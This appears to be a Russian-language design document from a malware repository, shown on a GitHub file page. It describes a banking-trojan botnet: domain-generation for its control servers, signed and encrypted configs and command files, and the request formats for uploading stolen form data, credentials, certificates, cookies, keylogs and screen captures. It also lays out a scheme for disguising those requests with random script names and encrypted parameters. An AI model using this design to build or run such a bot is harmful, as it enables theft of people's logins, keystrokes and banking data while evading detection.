-
Notifications
You must be signed in to change notification settings - Fork 53
/
Copy pathdname.txt
106 lines (90 loc) · 6.02 KB
/
dname.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
Генерация доменых имен
----------------------
Все боты условно делятся на несколько доменных групп (например на 4). Номер доменной группы определяется
ботом на основе Machine ID и не меняется. Для генерации имени домена используется номер доменной группы и
текущая дата (например, текущий месяц).
Для получения слов, используемых для создания читаемых имен, требуется текстовый файл. Это должен быть файл,
который легко найти в сети и он не должен изменяться со временем. (например: http://constitution.org/usdeclar.txt)
Из файла выбираются отдельные слова, не меньше определенной длинны (чтобы исключить предлоги), и
группируются в псевдо-случаные, читаемые имена. Таким образом, для каждой доменной группы ботов, раз в
заданный период (например месяц) изменяются имена доменов.
Кол-во генерируемых имен, период смены имён, кол-во групп и список зон, для которых генерируются имена
задаются при сборе бота.
Есть специальная утилита dname.exe для генерации имен по заданной доменной группе и дате.
Для управления ботом достаточно зарегистрировать хотя бы одно имя из, сгенерированного dname, списка для
каждой группы.
Взаимодействие бот-сервер
--------------------------
Бот запрашивает у сервера два типа файлов:
- конфиг-файл. Сформированый конфигуратором файл особого формата, содержащий описания инжектов.
- файл команд. Текстовый файл, содержащий команды для бота.
Все получаемые ботом фалы зашифрованы посредством Serpent(или RC6) и подписаны RSA.
Serpent-ключ генерится автоматически в момент подписи файла и хранится внутри цифровой подписи. Таким образом,
получить Serpent-ключ взможно только расшифровав цифровую подпись.
Открытй RSA-ключ, используемый для проверки (расшифровки) цифровой подписи хранится внутри бота.
Секретный RSA-ключ, используемый для подписи файлов хранится у оператора сети.
Файлы подписываются перед загрузкой их на сервер.
Бот проверяет подписи всех получаемых файлов и игнорирует неподписанные.
Такая схема гарантирует, что задать конфиг и команды боту сможет только оператор сети, имеющий закрытый ключ.
Бот отправляет на сервер файлы следующего типа и формата (тип данных задаётся параметром type в POST-запросе):
SEND_ID_UNKNOWN 0 - неизвестно, используется только для тестирования
SEND_ID_FORM 1 - данные HTML-форм. ASCII-заголовок + форма бинарном виде, как есть
SEND_ID_FILE 2 - любой файл, так шлются найденные по маске файлы
SEND_ID_AUTH 3 - данные IE Basic Authentication, ASCII-заголовок + бинарные данные
SEND_ID_CERTS 4 - сертификаты. Файлы PFX упакованые в CAB или ZIP.
SEND_ID_COOKIES 5 - куки и SOL-файлы. Шлются со структурой каталогов. Упакованы в CAB или ZIP
SEND_ID_SYSINFO 6 - информация о системе. UTF8(16)-файл, упакованый в CAB или ZIP
SEND_ID_SCRSHOT 7 - скриншот. GIF-файл.
SEND_ID_LOG 8 - внутренний лог бота. TXT-файл.
SEND_ID_FTP 9 - инфа с грабера FTP. TXT-файл.
SEND_ID_IM 10 - инфа с грабера IM. TXT-файл.
SEND_ID_KEYLOG 11 - лог клавиатуры. TXT-файл.
SEND_ID_PAGE_REP 12 - нотификация о полной подмене страницы TXT-файл.
SEND_ID_GRAB 13 - сграбленый фрагмент контента. ASCII заголовок + контент, как он есть
SEND_ID_MAIL 14 - отчёт мэйлграббера. CAB или ZIP содержащий текст в UTF8(16)
SEND_ID_FORM1 15 - контейнер. Архив, содержащий файлы других форматов.
SEND_ID_PLUGIN 16 - нотификация плагина (старт\стоп)
SEND_ID_VIDEO 17 - видео с экрана. CAB или ZIP, содержащий анимационный файл GIF или AVI
SEND_ID_DEVICE 18 - нотификация о добавлении устройства. ASCII текст.
Тип 15 (контейнер) содержит внутри различные файлы, тип которых можно определить по имени:
Если имя файла состоит из 18 знаков (16-ричное число), то последние два знака обозначают
тип файла. Например:
01CFD40EE4E4E2B001 - тип 01
904F38BB782009330D - тип 13
Передаваемые файлы могут быть зашифрованы алгоритмом Serpent(RC6) с использованием ключа обфускаци.
При обработке полученных данных нужно учитывать, что в случае, если сервер вернёт статус отличный
от 200(OK), то софт будет слать этот же набор данных снова.
Для получения файлов используюся PHP-запросы следующего формата:
GET config.php?version=212400&user=123456&server=11&id=1000&crc=0
GET task.php?version=212400&user=123456&server=11&id=1000&crc=0
Для отсылки файлов используются PHP-запросы следующего формата:
POST data.php?version=212400&user=123456&server=11&id=1000&type=2&name=anyfile
где:
config.php, task.php - имена скриптов, соответствующих конфигу и командам;
version - номер версии софта (XYYZZZ, где: X.YY - версия, ZZZ - сборка)
user - уникальный ID пользователя (клиента)
server - уникальный ID сервера
id - номер группы бота
type - тип отсылаемых данных (один из, указанных выше, SEND_ID_ХХХ кодов)
name - имя файла\данных
crc - хэш CRC32. Используется только в запросах конфига. Содержит хэш предыдущего конфиг-файла
полученного клиентом. Сервер возвращает пустую страницу если файл не изменился.
Это сделано в целях снижения нагрузки на сервер.
Бот поддерживает следующий механизм обфускации запросов:
- формируется исходная строка с параметрами запроса;
(например: user=123456&server=11&id=1000&crc=0)
- к строке добавляется случайный параметр;
(например: aaa=111&user=123456&server=11&id=1000&crc=0)
- строка запроса шифруется посредством Serpent(RC6) в режиме CBC(ECB), при этом она выравнивается на длинну
блока при помощи добавления нулей в конец.
- шифрованая строка запроса конвертируется в BASE64
(например: V2CLMeH2AeKub5G8GX9XhdiJGxvhcSmocxDZ+gpTRAKaN5tVMqj0/SZd9zo91Z+6)
- создается случайное имя php-скрипта для запроса, имя может быть любой длинны, важно, чтобы первая буква
имени соответствовала первой букве исходного скрипта.
(например: config.php -> clsdhfrrse.php, task.php -> tmjh.php, data.php -> dfhyenfk.php)
- создается случайное имя параметра для скрипта.
(например: ajsyu)
- формируется конечная строка с параметрами:
(clsdhfrrse.php?ajsyu=V2CLMeH2AeKub5G8GX9XhdiJGxvhcSmocxDZ+gpTRAKaN5tVMqj0/SZd9zo91Z+6)
Для указанных примеров использовался RC6-ключ: "0123456789ABCDEF"
Ключ задается при сборке бота и должен совпадать с настройками сервера.